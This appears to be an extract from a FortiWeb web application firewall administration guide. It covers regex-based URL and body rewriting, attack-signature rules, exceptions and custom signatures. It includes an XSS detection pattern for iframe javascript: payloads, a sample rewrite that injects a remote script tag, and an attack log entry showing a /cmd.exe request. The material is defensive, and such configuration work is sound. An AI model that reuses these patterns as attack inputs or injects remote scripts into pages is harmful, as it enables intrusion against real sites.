Object

Regular Expression

Protocol Filter ☐

Content Type Filter ☒

Content Type Set

Meet this condition if:

☐ Object does not match the regular expression, the protocol filter or the content type filter

☒ Object matches the regular expression, the protocol filter and the content type filter

Edit URL Rewriting Rule

Name

xss-scrub

Action Type

☐ Request Action
☒ Response Action

Response Action

Rewrite HTTP Body

OK

Cancel

URL Rewriting Condition Table

ID	Object	Regular Expression	
1	HTTP Body	(?i)<(\s)*iframe[\s\/]*src=(\s)*["'`?\"" , , ' ' ? < > »]javascript:(\n .)*</iframe>	 

Replacement Strings in Body

Replacement

<script src="http://irt.example.com

Table 38: Example HTML body rewrite using regular expressions

<i>Object</i>	HTTP Body
<i>Regular Expression in URL match condition</i>	(?i)<(\s)*iframe[\s\/]*src=(\s)*["'`?\"" , , ' ' ? < > »]javascript:(\n .)*</iframe>
<i>Replacement</i>	<script src="http://irt.example.com/todo.jss"></script>

See also

- [Defining custom data leak & attack signatures](#)
- [Regular expression syntax](#)
- [What are back-references?](#)
- [Cookbook regular expressions](#)

Example: Inserting & deleting body text

Example.com wants to delete some text, and insert other text. As an example, it wants to change:

Hey everyone, this works!

to:

Hey, this works now!

To do this, it will rewrite matching parts of the body in the web server's response.

The regular expression contains capture groups (. *) that create numbered substrings — back-references such as \$0 — that you can recall by their number when writing the

replacement text. By omitting a capture group (in this case, \$1 is omitted from *Replacement*), that part of the text is removed. To insert text, simply add it to the replacement text.

Edit URL Rewriting Rule

Name

Action Type ☐ Request Action ☒ Response Action

Response Action

URL Rewriting Condition Table

ID	Object	Regular Expression	
1	HTTP Body	(.*)(everyone), (.*)(works)!	

Replacement Strings in Body

Replacement

Table 39: Example body rewrite using regular expressions

<i>Object</i>	HTTP Body
<i>Regular Expression in URL match condition</i>	(.*) (everyone) , (.*) (works) !
<i>Replacement</i>	\$0 , \$2 \$3 now!

See also

- [Regular expression syntax](#)
- [What are back-references?](#)
- [Cookbook regular expressions](#)

Example: Rewriting URLs using regular expressions

Example.edu is a large university. Professors use a mixture of WordPress and Movable Type software for their course web pages to keep students updated. In addition, the campus bookstore and software store use custom shopping cart software. The URLs of these web applications contain clues about the underlying vendors, databases and scripting languages.

The university is a frequent target of attacks because it is a large organization with many mobile users and guests, and an Internet connection with large bandwidth. Its network administrators want to hide the underlying technology to make it more difficult for attackers to craft platform-specific attacks. Example.edu also wants to make clients' bookmarked URLs more permanent, so that clients will not need to repair them if the university switches software vendors.

Because it has so many URLs, the university uses regular expressions to rewrite sets of similar URLs, rather than configuring rewrites for each URL individually. More specific URL rewrite rules

are selected first in the URL rewriting group, before general ones, due to the affects of the matching order on which each rewrite rule is applied.

Table 40: Example URL rewrites using regular expressions

<i>Regular Expression</i> in URL match condition	<i>URL</i>	Example URL in client's request	Result
<code>^/cgi/python/ustore/payment.html\$</code>	<code>/store/checkout</code>	<code>/cgi/python/ustore/payment.html</code>	<code>/store/checkout</code>
<code>^/ustore*\$</code>	<code>/store/view</code>	<code>/ustore/viewItem.asp?id=1&img=2</code>	<code>/store/view</code>
<code>/Wordpress/(.*)</code>	<code>/blog/\$0</code>	<code>/wordpress/10/11/24</code>	<code>/blog/10/11/24</code>
<code>/(.*)\.xml</code>	<code>/\$0</code>	<code>/index.xml</code>	<code>/index</code>

See also

- [Grouping rewriting & redirection rules](#)
- [Example: HTTP-to-HTTPS redirect](#)
- [Example: Rewriting URLs using variables](#)
- [Rewriting & redirecting](#)
- [Regular expression syntax](#)
- [What are back-references?](#)
- [Cookbook regular expressions](#)

Example: Rewriting URLs using variables

Example.com has a web site that uses ASP, but the administrator wants it to appear that the web site uses PHP. To do this, the administrator configured a rule that changes any requested file's extension which is asp into php.

The condition table contains two match conditions, in this order:

1. The `Host :` may be anything.
2. The request URL must end in `.asp`.

If both of those are true, the request is rewritten.

The administrator does not want to rewrite matching requests into a single URL. Instead, the administrator wants each rewritten URL to re-use parts of the original request.

To assemble the rewritten URL by re-using the original request's file path and `Host :`, the administrator uses two back reference variables: `$0` and `$1`. Each variable refers to a part of the

original request. The parts are determined by which capture group was matched in the [Regular Expression](#) field of each condition table object.

- \$0 — The text that matched the **first** capture group (. *). In this case, because the object is the `Host :` field, the matching text is the host name, `www.example.com`.
- \$1 — The text that matched the **second** capture group, which is also (. *). In this case, because the object is the request URL, the matching text is the file path, `news/local`.

Table 41: Example URL rewrites using regular expressions

Example request	URL Rewriting Condition Table		Replacement URL		Result
www.example.com	HTTP Host	(.*)	Host	\$0	www.example.com
/news/local.asp	HTTP URL	/(.*)\.asp	URL	/\$1.php	/news/local.php

See also

- [Grouping rewriting & redirection rules](#)
- [Example: Rewriting URLs using regular expressions](#)
- [Example: HTTP-to-HTTPS redirect](#)
- [Rewriting & redirecting](#)
- [Regular expression syntax](#)
- [What are back-references?](#)
- [Cookbook regular expressions](#)

Grouping rewriting & redirection rules

Before you can apply rewriting or redirection, you must first assemble the rules into prioritized sets. (In the web UI, these are called “URL rewriting policies.”)

To configure a policy

1. Before you can URL rewriting policy, you must first configure one or more rewriting rules. See [“Rewriting & redirecting” on page 357](#).
2. Go to *Application Delivery > URL Rewriting Policy > URL Rewriting Policy*.
To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.



4. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

5. Click *OK*.

6. Click *Create New*.

A dialog appears.

7. For *Priority*, enter the priority for this rule in relation to other defined rules.

Rule order affects rewriting rule matching and behavior. The search begins with the highest *Priority* number (0 = greatest priority) rule in the list and progresses in order towards the largest number (lowest priority) in the list. Matching rules are determined by comparing the rule and the request. If no rule matches, the request remains unchanged.

8. From the *Rewriting Rule Name* drop-down list, select the name of an existing rewriting rule to add to the policy.

To view or change the information associated with the rule, click the *Detail* link. The *URL Rewriting Rule* dialog appears, where you can view and edit the rules. Use your browser's *Back* button to return.

9. Click *OK*.

10. Repeat the previous steps for each rule you want to add to the rewriting policy.

11. To apply the rewriting policy, select it in an inline protection profile. For details, see [“Configuring a protection profile for inline topologies” on page 456](#).

See also

- [Sequence of scans](#)
- [Example: HTTP-to-HTTPS redirect](#)
- [Example: Rewriting URLs using regular expressions](#)
- [Example: Rewriting URLs using variables](#)
- [Rewriting & redirecting](#)

Blocking known attacks & data leaks

Many attacks and data leaks can be detected by FortiWeb using signatures. Enable signatures to defend against many attacks in the [OWASP Top 10](#), plus more:

- cross-site scripting (XSS)
- SQL injection and many other code injection styles
- remote file inclusion (RFI)
- local file inclusion (LFI)
- OS commands
- trojans/viruses
- exploits
- sensitive server information disclosure
- credit card data leaks

FortiWeb will scan:

- parameters in the URL of HTTP `GET` requests
- parameters in the body of HTTP `POST` requests
- XML in the body of HTTP `POST` requests (if [Enable XML Protocol Detection](#) is enabled)
- cookies

In addition to scanning standard requests, FortiWeb can also scan Action Message Format 3.0 (AMF3) serialized binary inputs used by Adobe Flash clients to communicate with server-side software. For more information, see [“Enable AMF3 Protocol Detection” on page 460](#) (for inline protection profiles) or [“Enable AMF3 Protocol Detection” on page 467](#) (for offline protection profiles).

Known attack signatures can be updated. For information on uploading a new set of attack definitions, see [“Uploading signature & geography-to-IP updates” on page 144](#) and [Connecting to FortiGuard services](#). You can also create your own. See [“Defining custom data leak & attack signatures” on page 391](#).

To configure a signature rule

1. Before you create a signature rule, create custom signatures, if any, that you will add to the rule (see [“Defining custom data leak & attack signatures” on page 391](#)).
2. Go to *Web Protection > Known Attacks > Signatures*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.
A dialog appears.

4. Configure these settings:

Edit Signature Policy					
Name		Action	Block Period	Severity	Trigger Action
attack-signatures1					
☒ Cross Site Scripting		Period Block	60	High	Please Select
☐ Cross Site Scripting (Extended)		Alert	60	Medium	Please Select
☒ SQL Injection		Period Block	60	High	Please Select
☐ SQL Injection (Extended)		Alert	60	Medium	Please Select
☒ Generic Attacks		Period Block	60	High	Please Select
☒ Generic Attacks(Extended)		Period Block	60	Medium	Please Select
☒ Known Exploits		Period Block	60	High	Please Select
☒ Trojans		Period Block	60	Medium	Please Select
☒ Information Disclosure		Erase, no Alert	60	Low	Please Select
☒ Bad Robot		Alert	60	High	Please Select
☒ Credit Card Detection		Erase & Alert	60	High	Please Select
Credit Card Detection Threshold			1		
Custom Signature Group		Please Select			Detail...

OK Cancel Advanced Mode

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Action (column)	In each row, select which action the FortiWeb appliance will take when it detects a violation of the rule. Supported options vary (available options are listed in the description for each specific rule), but may include: • Alert — Accept the request and generate an alert email and/or log message. • Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. • Period Block — Block subsequent requests from the client for a number of seconds. Also configure Block Period. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 256). Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. • Redirect — Redirect the request to the URL that you specify in the protection profile and generate an alert email and/or log message. Also configure Redirect URL and Redirect URL With Reason.

Setting name	Description
	• Send 403 Forbidden — Reply to the client with an HTTP 403 Access Forbidden error message and generate an alert email and/or log message. • Pass — Allow the request. Do not generate an alert email and/or log message. • Continue — Generate an alert and/or log message, then continue by evaluating any subsequent rules defined in the web protection profile (see “Sequence of scans” on page 21). If no other rules are violated, allow the request. If multiple rules are violated, a single request will generate multiple attack log messages and/or alert email. • Alert & Erase — Hide sensitive information in replies from the web server (sometimes called “cloaking”). Block the request or remove the sensitive information, and generate an alert email and/or log message. Caution: This option is not fully supported in offline protection mode. Only an alert and/or log message can be generated; sensitive information cannot be blocked or erased. • Erase, no Alert — Hide sensitive information in replies from the web server (sometimes called “cloaking”). Block the request or remove the sensitive information, but do not generate an alert email and/or log message. Caution: This option is not supported in offline protection mode. The default value is <i>Alert</i>. See also “Reducing false positives” on page 609. Caution: This setting will be ignored if <i>Monitor Mode</i> is enabled. Note: Logging and/or alert email will occur only if enabled and configured. See “Logging” on page 529 and “Alert email” on page 563. Note: If you will use this rule set with auto-learning, you should select <i>Alert</i>. If <i>Action</i> is <i>Alert & Deny</i>, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Block Period (column)	In each row, type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if <i>Action</i> is set to <i>Period Block</i>. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also “Monitoring currently blocked IPs” on page 591.
Severity (column)	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<i>severity_level</i>) field. In each row, select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>High</i>.

Setting name	Description
Trigger Action (column)	In each row, select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of each rule. See “Configuring triggers” on page 544 .
Cross Site Scripting	Enable to prevent a variety of cross-site scripting (XSS) attacks, such as some varieties of CSRF (cross-site request forgery). All of this attack’s signatures are automatically enabled when you enable detection. To disable a specific signature, click the blue arrow to expand the list, then clear that signature’s check box. Attack log messages contain <code>Cross Site Scripting</code> and the subtype and signature ID (for example, <code>Cross Site Scripting : Signature ID 010000063</code>) when this feature detects a possible attack. In the Action column, select that the FortiWeb will do when it detects this type of attack: • <i>Alert</i> • <i>Alert & Deny</i> • <i>Period Block</i> • <i>Redirect</i> • <i>Send 403 Forbidden</i>
Cross Site Scripting (Extended)	Enable to prevent a variety of XSS attacks. Unlike Cross Site Scripting, the extended signatures are more likely to cause false positives. However, they may be necessary in specific, high-security data centers. If one of the signatures is causing false positives and you need to instead configure a custom attack signature that will not cause false positives, you can individually disable that signature.
SQL Injection	Enable to prevent SQL injection attacks, such as blind SQL injection. All of this attack’s signatures are automatically enabled when you enable detection. To disable a specific signature, click the blue arrow to expand the list, then clear that signature’s check box. Attack log messages contain <code>SQL Injection</code> and the subtype and signature ID (for example, <code>SQL Injection : Signature ID 030000010</code>) when this feature detects a possible attack. In the Action column, select that the FortiWeb will do when it detects this type of attack: • <i>Alert</i> • <i>Alert & Deny</i> • <i>Period Block</i> • <i>Redirect</i> • <i>Send 403 Forbidden</i>

Setting name	Description
SQL Injection (Extended)	Enable to prevent a variety of SQL injection attacks. Unlike SQL Injection, the extended signatures are more likely to cause false positives. However, they may be necessary in specific, high-security data centers. If one of the signatures is causing false positives and you need to instead configure a custom attack signature that will not cause false positives, you can individually disable that signature.
Generic Attacks	Enable to prevent other common exploits, including a variety of injection threats that do not use SQL, such as local file inclusion (LFI) and remote file inclusion (RFI). All of this attack's signatures are automatically enabled when you enable detection. To disable a specific signature, click the blue arrow to expand the list, then clear that signature's check box. Attack log messages contain <code>Generic Attacks</code> and the subtype and signature ID (for example, <code>Generic Attacks-Command Injection : Signature ID 050050030</code>) when this feature detects a possible attack. In the Action column, select that the FortiWeb will do when it detects this type of attack: • <i>Alert</i> • <i>Alert & Deny</i> • <i>Period Block</i> • <i>Redirect</i> • <i>Send 403 Forbidden</i>
Generic Attacks (Extended)	Enable to prevent a variety of exploits and attacks. Unlike Generic Attacks, the extended signatures are more likely to cause false positives. However, they may be necessary in specific, high-security data centers. If one of the signatures is causing false positives and you need to instead configure a custom attack signature that will not cause false positives, you can individually disable that signature.

Setting name	Description
Trojans	Enable to scan for trojans, viruses, malware, and greyware. You must also configure a file upload restriction where you enable Antivirus Scan (see “Limiting file uploads” on page 440). Attack log messages contain the file name and signature ID (for example, filename [eicar.com] virus name [EICAR_TEST_FILE]: Waf anti-virus) when this feature detects a possible virus. In the Action column, select that the FortiWeb will do when it detects this type of attack: • <i>Alert</i> • <i>Alert & Deny</i> • <i>Period Block</i> • <i>Redirect</i> • <i>Send 403 Forbidden</i> To configure which database of signatures to use, select either Regular Virus Database or Extended Virus Database (see “Choosing the virus signature database & decompression buffer” on page 136). Caution: Files greater than the scan buffer configured in Maximum Antivirus Buffer Size are too large for FortiWeb to decompress, and will pass through without being scanned. This could allow malware to reach your web servers. To block oversized files, you must configure Body Length. Caution: To remain effective as new malware emerges, it is vital that your FortiWeb can connect to FortiGuard services to regularly update its engine and signatures. Failure to do so will cause this feature to become less effective over time, and may allow viruses to pass through your FortiWeb. For instructions on how to verify connectivity and enable automatic updates, see “Connecting to FortiGuard services” on page 132.

Setting name	Description
Information Disclosure	Enable to detect server error messages and other sensitive messages in the HTTP headers, such as <i>CF Information Leakage</i> (Adobe ColdFusion server information). All of this attack's signatures are automatically enabled when you enable detection. However, if one of the signatures is causing false positives and you need to instead configure a custom attack signature that will not cause false positives, you can individually disable that signature. To disable a specific signature, click the blue arrow to expand the list, then clear that signature's check box. Error messages, HTTP headers such as <code>Server: Microsoft-IIS/6.0</code>, and other messages could inform attackers of the vendor, product, and version numbers of software running on your web servers, thereby advertising their specific vulnerabilities. Sensitive information is detected according to fixed signatures. Attack log messages contain <code>Information Disclosure</code> and the subtype and signature (for example, <code>Information Disclosure-HTTP Header Leakage : Signature ID 080200001</code>) when this feature detects a possible leak. In the Action column, select that the FortiWeb will do when it detects this type of vulnerability: • <i>Alert</i> Note: Does not cloak, except for removing sensitive headers. (Sensitive information in the body remains unaltered.) • <i>Alert & Erase</i> — Hide replies with sensitive information (sometimes called “cloaking”). Block the reply (or reset the connection) or remove the sensitive information, and generate an alert email and/or log message. If the sensitive information is a status code, you can customize the web page that will be returned to the client with the HTTP status code. Note: This option is not fully supported in offline protection mode. Effects will be identical to <i>Alert</i>; sensitive information will not be blocked or erased. • <i>Period Block</i> • <i>Redirect</i>

Setting name	Description
	Tip: Some attackers use 4XX and 5XX HTTP response codes for web site reconnaissance when identifying potential targets: to determine whether a page exists, has login failures, is Not Implemented, Service Unavailable, etc. Normally, the FortiWeb appliance records attack logs for 4XX and 5XX response codes, but HTTP response codes are also commonly innocent, and too many HTTP response code detections may make it more difficult to notice other information disclosure logs. To disable response code violations, disable both the <i>HTTP Return Code 4XX</i> and <i>HTTP Return Code 5XX</i> options in this rule's area. Tip: Because this feature can potentially require the FortiWeb appliance to rewrite the header and body of every request from a server, it can decrease performance. To minimize impact, Fortinet recommends enabling this feature only to help you identify information disclosure through logging, and until you can reconfigure the server to omit such sensitive information.
Bad Robot	Enable to analyze the <code>User-Agent</code>: HTTP header and block known content scrapers, spiders looking for vulnerabilities, and other typically unwanted automated clients. FortiWeb predefined signatures for many well-known robots, such as link checkers, search engine indexers, spiders, and web crawlers for Google, Baidu, and Bing, which you can use to restrict access by Internet robots such as web crawlers, as well as malicious automated tools. Search engines, link checkers, retrievals of entire web sites for a user's offline use, and other automated uses of the web (sometimes called robots, spiders, web crawlers, or automated user agents) often access web sites at a more rapid rate than human users. However, it would be unusual for them to request the same URL within that time frame. Usually, web crawlers request many different URLs in rapid sequence. For example, while indexing a web site, a search engine's web crawler may rapidly request the web site's most popular URLs. If the URLs are web pages, it may also follow the hyperlinks by requesting all URLs mentioned in those pages. In this way, the behavior of web crawlers differs from a typical brute force login attack, which focuses repeatedly on one URL. Some robots, however, are not well-behaved. You can request that robots not index and/or follow links, and disallow their access to specific URLs (see http://www.robotstxt.org/). However, misbehaving robots frequently ignore the request, and there is no single standard way to rate-limit robots. To verify that bad robot detection is being applied, attempt to download a web page using <code>wget</code>, which is sometimes used for content scraping.

Setting name	Description
Credit Card Detection	Enable to detect credit card numbers in the response from the server. Also configure Credit Card Detection Threshold. Credit card numbers being sent from the server to the client, especially on an unencrypted connection, constitute a violation of PCI DSS. In most cases, the client should only receive mostly-obscured versions of their credit card number, if they require it to confirm which card was used. This prevents bystanders from viewing the number, but also reduces the number of times that the actual credit card number could be observed by network attackers. For example, a web page might confirm a transaction by displaying a credit card number as: <pre>XXXX XXXX XXXX 1234</pre> This mostly-obscured version protects the credit card number from unnecessary exposure and disclosure. It would not trigger the credit card number detection feature. However, if a web application does not obscure displays of credit card numbers, or if an attacker has found a way to bypass the application's protection mechanisms and gain a list of customers' credit card numbers, a web page might contain a list with many credit card numbers in clear text. Such a web page would be considered a data leak, and trigger credit card number disclosure detection. Attack log messages contain <code>Credit Card Detection</code> and the subtype and signature (for example, <code>Credit Card Detection : Signature ID 100000001</code>) when this feature detects a credit card disclosure. In the Action column, select that the FortiWeb will do when it detects this type of attack: • <i>Alert</i> • <i>Alert & Deny</i> • <i>Alert & Erase</i> • <i>Period Block</i>
Credit Card Detection Threshold	Type 0 to report any credit card number disclosures, or enter a threshold if the web page must contain a number of credit cards that equals or exceeds the threshold in order to trigger the credit card number detection feature. For example, to ignore web pages with only one credit card number, but to detect when a web page containing two or more credit cards, enter 2.
Custom Signature Group	Select a custom signature group to use, if any. For details, see "Defining custom data leak & attack signatures" on page 391. Attack log messages contain <code>Custom Signature Detection</code> and the name of the individual signature when this feature detects an attack. To view and/or edit the custom signature set, click the <i>Detail</i> link. The <i>Edit Custom Signature Group</i> dialog appears.

5. Click **OK**.

6. If you enabled *Information Disclosure*, *Trojans*, or *Credit Card Detection*, configure a decompression rule. See “Configuring decompression to enable scanning & rewriting” on page 449.



Failure to configure a decompression rule, or, for HTTPS requests, to provide the server's x.509 certificate in either *Certificate* or *Certificate File*, will result in FortiWeb being unable to scan requests. This effectively disables those features.

7. To apply the signature rule, select it in an inline protection profile or an offline protection profile (see “Configuring a protection profile for inline topologies” on page 456 or “Configuring a protection profile for an out-of-band topology or asynchronous mode of operation” on page 464).
8. To verify your configuration, attempt a request that should be detected and/or blocked by your configuration.



Instead of actually executing the exploit or uploading a virus, attempt a harmless script with similar syntax, or upload an *EICAR* file. Alternatively, test your configuration in a non-production environment.

If detection fails:

- Verify that routing and TCP/IP-layer firewalling does not prevent connectivity.
 - Verify that your simulated attack operates on either the HTTP header or HTTP body, whichever component is analyzed by that feature.
 - If the feature operates on the HTTP body, verify that `http-cachesize` is large enough, or that you have configured to *Body Length* block requests that exceed the buffer limit. For details, see the *FortiWeb CLI Reference*.
If the HTTP body is compressed, verify that *Maximum Antivirus Buffer Size* is large enough, or that you have configured to *Body Length* block requests that exceed the buffer limit.
 - If you enabled *Trojans*, verify that you have also configured its configuration dependencies (see “Limiting file uploads” on page 440).
 - If the feature operates on the parameters in the URL line in the HTTP headers, verify that the total parameter length (after URL decoding, if required — configure *Recursive URL Decoding*) is not larger than the buffer size of *Total URL and Body Parameters Length* or *Total URL Parameters Length*.
9. If normal input for some URLs accidentally matches a signature, either create and use a modified version of it instead via custom signatures, or create exceptions (“Configuring exceptions to data leak & attack detection signatures” on page 388).

See also

- [Sequence of scans](#)
- [Preventing zero-day attacks](#)
- [Limiting file uploads](#)
- [How often does Fortinet provide FortiGuard updates for FortiWeb?](#)

Configuring exceptions to data leak & attack detection signatures

You can configure FortiWeb to omit attack signature scans in some cases.

Exceptions may be useful if you know that some URLs, during normal use, will cause false positives by matching an attack signature. Signature exceptions define request URLs that will **not** be subject to signature rules.

For example, if the HTTP POST URL /pageupload should accept input that is PHP code, but it is the **only** URL on the host that should do so, you would create an exception that, in the *PHP Injection* category, disables that specific signature ID for the URL /pageupload in the signature rule that normally would block all injection attacks.



If you are not sure which exceptions are advisable, examine your attack log for attack log messages generated by normal traffic on servers that are not actually vulnerable to that attack. You can click the *Add Exception* link directly in the attack log message display to create an exception.

Figure 44:Disabling signatures or adding exceptions while viewing the attack log

Refresh										Column Settings										Raw										Filter Settings										Log Message Aggregation										Log Search										Detailed Information										Log Management																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																			
#	HTTP Host										URL										Date										Time										Source										Destination										Policy										Message																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																		
9	172.20.120.170										/										2012-07-24										16:01:22										172.20.120.49										172.20.120.170										policy1										HTTP Host Violatio																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																		
10	172.20.120.170										/cmd.exe										2012-07-24										15:58:06										172.20.120.49										172.20.120.170										policy1										Generic Attacks-C																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																		
11	172.20.120.170										/form										2012-07-24										15:32:42										172.20.120.49										172.20.120.170										policy1										Parameter Validat																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																		
Log Location: Attack Log																																																		View 30										per page										Line: 1										/ 37																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																									

To configure a signature exception

1. Go to *Web Protection > Known Attacks > Signatures*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see "[Permissions](#)" on page 46.

- Click the row corresponding to an existing signature rule for which you need to individually disable one or more signatures.
A dialog appears.

Name		Action	Block Period	Severity	Trigger Action
Cross Site Scripting	☒	Period Block	60	High	Please Select
Cross Site Scripting (Extended)	☐	Alert	60	Medium	Please Select
SQL Injection	☒	Period Block	60	High	Please Select
SQL Injection (Extended)	☐	Alert	60	Medium	Please Select
Generic Attacks	☒	Period Block	60	High	Please Select
Generic Attacks(Extended)	☒	Period Block	60	Medium	Please Select
Known Exploits	☒	Period Block	60	High	Please Select
Trojans	☒	Period Block	60	Medium	Please Select
Information Disclosure	☒	Erase, no Alert	60	Low	Please Select
Bad Robot	☒	Alert	60	High	Please Select
Credit Card Detection	☒	Erase & Alert	60	High	Please Select
Credit Card Detection Threshold			1		
Custom Signature Group		Please Select			Detail...

- Click *Advanced Mode*.
- Click *Create New*.
A dialog appears.
- In the signature tree on the left, click to open the signature category where you need to disable a specific signature. When you have selected an individual sub-category, a list of individual signature IDs in it will appear in the pane to the right.
- Click the row of the signature ID that you need to disable.
When selected, the signature row will be highlighted in blue.
- In the pane on the right side, click the *Exception* tab.

8. Configure these settings:

The screenshot shows the FortiWeb configuration interface for Cross Site Scripting (CROSS). The 'Dictionaries' pane on the left lists various attack types, with 'Cross Site Scripting' selected. The main pane displays a table of signatures with IDs 010000001, 010000002, and 010000003, all set to 'Enable'. The 'Match Sample' pane shows an example HTTP request. The right pane shows the configuration for signature ID 010000001, with 'Host Status' checked, 'Host' set to 'www.example.com', 'Type' set to 'Regular Expression', and 'Request URL' set to '/script-uploader[12]'. A red circle highlights the 'Host Status', 'Host', 'Type', and 'Request URL' fields.

Setting name

Description

Host

Select which protected hosts entry (either a web host name or IP address) that the `Host :` field of the HTTP request must be in to match the signature exception.

This option is available only if *Host Status* is enabled.

Host Status

Enable to require that the `Host :` field of the HTTP request match a protected hosts entry in order to match the signature exception. Also configure *Host*.

Type

Indicate whether *Request URL* is a *Simple String* (that is, a literal URL) or a *Regular Expression*.

Request URL

Depending on your selection in *Type*, enter either:

- the literal URL, such as `/causes-false-positives.php`, that the HTTP request must contain in order to match the page access rule. The URL must begin with a slash (`/`).
- a regular expression, such as `^/*\.php`, matching all and only the URLs to which the page access rule should apply. The pattern does not require a slash (`/`); however, it must at match URLs that begin with a slash, such as `/index.cfm`.

Do not include the domain name, such as `www.example.com`, which is configured separately in the *Host* drop-down list.

To create and test a regular expression, click the `>>` (test) icon. This opens the *Regular Expression Validator* window where you can fine-tune the expression (see [“Regular expression syntax” on page 658](#)).

9. Click *Add*.

10. Repeat the previous steps for each entry that you want to add to the signature exception.

See also

- [Blocking known attacks & data leaks](#)

Defining custom data leak & attack signatures

Custom signatures can be attack signatures and/or data leak signatures.

If the predefined regular expressions cause false positives or do not match what you need, you can configure your own. This gives you the flexibility to define your own special types of personally identifiable information, as well as zero-day attacks.

Signatures should be crafted carefully to avoid performance issues inherent in regular expressions that use recursion (see [“Regular expression performance tips” on page 600](#)).

To configure a custom signature


1. Go to *Web Protection > Known Attacks > Custom Signature*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

A dialog appears.

3. Configure these settings:



Add Target		
ID	Target	
1	REQUEST_BODY	

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Direction	Select which the expression will be applied to, either: • Request — <i>Expression</i> will be an attack signature. • Response — <i>Expression</i> will be a server information disclosure signature.

Setting name	Description
